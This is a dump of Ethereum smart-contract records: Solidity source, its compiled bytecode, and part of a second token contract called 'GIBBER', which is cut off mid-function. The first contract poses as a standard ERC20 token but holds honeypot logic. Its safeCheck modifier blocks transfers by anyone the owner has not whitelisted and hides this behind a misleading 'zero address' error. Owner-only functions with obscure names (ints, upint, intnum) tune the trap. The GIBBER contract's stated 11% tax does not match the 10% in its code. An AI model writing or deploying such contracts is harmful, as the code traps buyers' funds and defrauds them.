return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
//Doge Bridge
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
_;}
function _transfer_new(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611b0e60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611b7f6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b5b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611ac66022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611717576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561179d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aa36023913960400191505060405180910390fd5b6117a8868686611a9d565b61181384604051806060016040528060268152602001611ae8602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a6846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119c75780820151818401526020810190506119ac565b50505050905090810190601f1680156119f45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611a93576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b95cf550ad4468c925f3229eac7257a9fd9f4bedd73db1c6bcf152fea8e995f764736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 9,365 |
0x618120e5fe67ae1cf23a0a5929312327b20658a8
|
/**
*Submitted for verification at Etherscan.io on 2022-04-19
*/
// SPDX-License-Identifier: Unlicensed
/*
The APE’s Dream is an otherworldly replica of the original Caesar's Workshop, now called the Abandoned Caesar Workshop under the Caesar's Ape Colony.
Created by Caesar and Malcolm, the Caesar's Dream was originally intended as a way to ensure there were always hunters to fight humans.
Caesar eventually realized that the Dream was bound to his consciousness, with each requiring the existence of the other,
and nearly went mad from the revelation of never dying yet serving an eternal cause.
The APE's Dream acts as a central hub and sanctuary for Ape warriors, where resources can be exchanged and weapons can be fortified here,
as well as a connection to every other location in Caesar's kingdom.
Gibber is now trapped inside the APE’s Dream and he decided to turn this endless loop of dream into a endless profit generating machine by establishing a treasury fund.
A REWARDING mechanism can be easily achieved due to our unique treasury fund. 11% tax will be charged in each transaction and automatically added into the treasury fund.
This treasury fund will be used to reward token holders each month and the rewarding method will be decided by our DREAM DAO.
https://t.me/gibberportal
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract GIBBER is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "An Apes Dream";
string private constant _symbol = "GIBBER";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 10;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 10;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0xa6aCdd208EAcc55aA43615F8EaCe5151503F6f40);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 15e7 * 10**9;
uint256 public _maxWalletSize = 15e7 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createPair() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
